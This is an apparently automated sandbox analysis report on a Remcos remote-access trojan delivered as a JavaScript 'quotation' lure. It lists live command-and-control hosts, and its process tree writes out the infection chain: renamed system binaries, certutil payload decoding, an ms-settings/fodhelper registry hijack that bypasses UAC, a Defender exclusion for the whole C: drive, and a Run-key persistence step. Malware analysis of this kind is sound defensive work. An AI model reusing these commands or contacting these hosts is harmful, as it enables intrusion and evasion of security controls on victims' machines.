Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30/05/2024, 06:03

General

  • Target

    Quotation (Ammunition).js

  • Size

    113KB

  • MD5

    8cc82a928a34916491db43f53d1e0775

  • SHA1

    d2d030096fd57e03a0f164b4c926e368c23dbc33

  • SHA256

    d2a3b8751afe0ca29b83b6c6200bf3405c07fb02d9d388231bfaefe9c6bfbfc0

  • SHA512

    de229a767ed87372e74f4ce4ce47964892971cf740388e65a48a93d58ae0f7c468a520a2a0161f797fc273636f9dd0f814699fd81339cba5c668b7c78d7a17fd

  • SSDEEP

    24:uX2kepwtBke06I965WIXBVBCBzBtZBRBgBVBtdAB/IBjBgBsBGBXBtdABDBtdABl:uGRUR06I96+q6h

Malware Config

Extracted

Family

remcos

Botnet

grace stub Cloudeye

C2

teamfavour222.ddns.net :6767

odogwuvisual123.duckdns.org:6767

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    -FQ3W7Z

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 25 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Kills process with taskkill 1 IoCs
  • Modifies registry class 5 IoCs
  • Script User-Agent 5 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe "C:\Users\Admin\AppData\Local\Temp\Quotation (Ammunition).js"
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4056
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\AUEEES.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2324
      • C:\Windows\System32\extrac32.exe
        C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
        3⤵
          PID:2396
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "
          3⤵
          • Executes dropped EXE
          PID:4476
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"
          3⤵
          • Executes dropped EXE
          PID:3904
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
          3⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:1652
          • C:\Windows\system32\extrac32.exe
            extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
            4⤵
              PID:3148
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\AUEEES.bat" "C:\\Users\\Public\\Ping_c.mp4" 9
            3⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:4840
            • C:\Users\Public\kn.exe
              C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\AUEEES.bat" "C:\\Users\\Public\\Ping_c.mp4" 9
              4⤵
              • Executes dropped EXE
              PID:4868
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
            3⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:5044
            • C:\Windows\system32\extrac32.exe
              extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
              4⤵
                PID:1600
            • C:\Users\Public\alpha.exe
              C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
              3⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:3988
              • C:\Windows\system32\extrac32.exe
                extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
                4⤵
                  PID:3876
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
                3⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:2944
                • C:\Windows\system32\extrac32.exe
                  extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
                  4⤵
                    PID:4940
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                  3⤵
                  • Executes dropped EXE
                  • Suspicious use of WriteProcessMemory
                  PID:1532
                  • C:\Users\Public\xkn.exe
                    C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                    4⤵
                    • Executes dropped EXE
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of WriteProcessMemory
                    PID:3940
                    • C:\Users\Public\alpha.exe
                      "C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                      5⤵
                      • Executes dropped EXE
                      • Suspicious use of WriteProcessMemory
                      PID:5084
                      • C:\Users\Public\ger.exe
                        C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                        6⤵
                        • Executes dropped EXE
                        • Modifies registry class
                        PID:4976
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Ping_c.mp4" "C:\\Users\\Public\\Libraries\\Ping_c.pif" 12
                  3⤵
                  • Executes dropped EXE
                  • Suspicious use of WriteProcessMemory
                  PID:4576
                  • C:\Users\Public\kn.exe
                    C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Ping_c.mp4" "C:\\Users\\Public\\Libraries\\Ping_c.pif" 12
                    4⤵
                    • Executes dropped EXE
                    PID:2736
                • C:\Windows \System32\per.exe
                  "C:\\Windows \\System32\\per.exe"
                  3⤵
                  • Checks computer location settings
                  • Executes dropped EXE
                  PID:868
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
                  3⤵
                  • Executes dropped EXE
                  • Suspicious use of WriteProcessMemory
                  PID:1320
                  • C:\Windows\system32\taskkill.exe
                    taskkill /F /IM SystemSettings.exe
                    4⤵
                    • Kills process with taskkill
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4564
                • C:\Users\Public\Libraries\Ping_c.pif
                  C:\Users\Public\Libraries\Ping_c.pif
                  3⤵
                  • Executes dropped EXE
                  • Adds Run key to start application
                  PID:860
                  • C:\Windows\SysWOW64\extrac32.exe
                    C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Public\Libraries\Ping_c.pif C:\\Users\\Public\\Libraries\\Emuxedll.PIF
                    4⤵
                      PID:884
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"
                    3⤵
                    • Executes dropped EXE
                    PID:4124
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"
                    3⤵
                    • Executes dropped EXE
                    PID:728
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"
                    3⤵
                    • Executes dropped EXE
                    PID:2180
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\per.exe" / A / F / Q / S
                    3⤵
                    • Executes dropped EXE
                    PID:4056
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S
                    3⤵
                    • Executes dropped EXE
                    PID:4824
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
                    3⤵
                    • Executes dropped EXE
                    PID:1508
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\Ping_c.mp4" / A / F / Q / S
                    3⤵
                    • Executes dropped EXE
                    PID:2396
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\xkn.exe" / A / F / Q / S
                    3⤵
                    • Executes dropped EXE
                    PID:4348
              • C:\Windows\system32\SystemSettingsAdminFlows.exe
                "C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper
                1⤵
                  PID:964

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

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                Downloads

                • C:\Users\Admin\AppData\Local\Temp\AUEEES.bat

                  Filesize

                  4.1MB

                  MD5

                  a33d1bcae258475e7ec293f1abf928e5

                  SHA1

                  52af7e1f6ab049951df243e62a2d366383ea9561

                  SHA256

                  f2bbf781cc15b5856ade4ed875e314d4481007ce629af56b0e822e3878dd16d6

                  SHA512

                  ebaebf6b810f56b87bc7cf02bb0b4397d89263083370ef8162e24ec09d2cc1f3824ff8efe19b893470325758d74973bfb7382116c19678dca06b3e743ab4f1cb

                • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ptfkuh5v.hii.ps1

                  Filesize

                  60B

                  MD5

                  d17fe0a3f47be24a6453e9ef58c94641

                  SHA1

                  6ab83620379fc69f80c0242105ddffd7d98d5d9d

                  SHA256

                  96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                  SHA512

                  5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                • C:\Users\Public\Libraries\Ping_c.pif

                  Filesize

                  1.4MB

                  MD5

                  4ffb32f1690aa831e132e381df519300

                  SHA1

                  ae6e6a6b561b901d97479ad960888fecf08c5519

                  SHA256

                  0395b1e766415e2e204294ea212d9dc95e5f69eb142ae347a0c9903a5e56c71d

                  SHA512

                  077c69d9c612591ba28d4084c136ed647d7e1e3ec7b48ffebdabd9e7b33e4ccd458ad1cccfde36fdd815f847d2cccb323c37f0d2e9c9085bd34f1e29c5e65945

                • C:\Users\Public\Ping_c.mp4

                  Filesize

                  2.8MB

                  MD5

                  9127217563d01e011becab066e5c49d3

                  SHA1

                  e8ee9e6c3bdfd6f7bc8dad7713261881f18f37d8

                  SHA256

                  b2628395d5ba5a6b6657cd1ef351b18dd322d6ed864c38ed6584c27529140e03

                  SHA512

                  8766cb4e9c1e44f47a374160f4adda8a128f401e63695ae6dc47124b4d6bc18ee5bc8bddda0732d0171da57ea3aadfbacf8849c9504c3d34623e8ee0a06f45d9

                • C:\Users\Public\alpha.exe

                  Filesize

                  283KB

                  MD5

                  8a2122e8162dbef04694b9c3e0b6cdee

                  SHA1

                  f1efb0fddc156e4c61c5f78a54700e4e7984d55d

                  SHA256

                  b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450

                  SHA512

                  99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

                • C:\Users\Public\ger.exe

                  Filesize

                  75KB

                  MD5

                  227f63e1d9008b36bdbcc4b397780be4

                  SHA1

                  c0db341defa8ef40c03ed769a9001d600e0f4dae

                  SHA256

                  c0e25b1f9b22de445298c1e96ddfcead265ca030fa6626f61a4a4786cc4a3b7d

                  SHA512

                  101907b994d828c83587c483b4984f36caf728b766cb7a417b549852a6207e2a3fe9edc8eff5eeab13e32c4cf1417a3adccc089023114ea81974c5e6b355fed9

                • C:\Users\Public\kn.exe

                  Filesize

                  1.6MB

                  MD5

                  bd8d9943a9b1def98eb83e0fa48796c2

                  SHA1

                  70e89852f023ab7cde0173eda1208dbb580f1e4f

                  SHA256

                  8de7b4eb1301d6cbe4ea2c8d13b83280453eb64e3b3c80756bbd1560d65ca4d2

                  SHA512

                  95630fdddad5db60cc97ec76ee1ca02dbb00ee3de7d6957ecda8968570e067ab2a9df1cc07a3ce61161a994acbe8417c83661320b54d04609818009a82552f7b

                • C:\Users\Public\xkn.exe

                  Filesize

                  442KB

                  MD5

                  04029e121a0cfa5991749937dd22a1d9

                  SHA1

                  f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

                  SHA256

                  9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

                  SHA512

                  6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

                • C:\Windows \System32\per.exe

                  Filesize

                  48KB

                  MD5

                  85018be1fd913656bc9ff541f017eacd

                  SHA1

                  26d7407931b713e0f0fa8b872feecdb3cf49065a

                  SHA256

                  c546e05d705ffdd5e1e18d40e2e7397f186a7c47fa5fc21f234222d057227cf5

                  SHA512

                  3e5903cf18386951c015ae23dd68a112b2f4b0968212323218c49f8413b6d508283cc6aaa929dbead853bd100adc18bf497479963dad42dfafbeb081c9035459

                • memory/860-80-0x0000000000400000-0x0000000000569000-memory.dmp

                  Filesize

                  1.4MB

                • memory/860-87-0x0000000033940000-0x0000000034940000-memory.dmp

                  Filesize

                  16.0MB

                • memory/860-88-0x0000000033940000-0x0000000034940000-memory.dmp

                  Filesize

                  16.0MB

                • memory/860-91-0x0000000033940000-0x0000000034940000-memory.dmp

                  Filesize

                  16.0MB

                • memory/860-92-0x0000000033940000-0x0000000034940000-memory.dmp

                  Filesize

                  16.0MB

                • memory/860-95-0x0000000033940000-0x0000000034940000-memory.dmp

                  Filesize

                  16.0MB

                • memory/860-96-0x0000000033940000-0x0000000034940000-memory.dmp

                  Filesize

                  16.0MB

                • memory/860-99-0x0000000033940000-0x0000000034940000-memory.dmp

                  Filesize

                  16.0MB

                • memory/860-100-0x0000000033940000-0x0000000034940000-memory.dmp

                  Filesize

                  16.0MB

                • memory/860-103-0x0000000033940000-0x0000000034940000-memory.dmp

                  Filesize

                  16.0MB

                • memory/860-104-0x0000000033940000-0x0000000034940000-memory.dmp

                  Filesize

                  16.0MB

                • memory/3940-41-0x000002644C290000-0x000002644C2B2000-memory.dmp

                  Filesize

                  136KB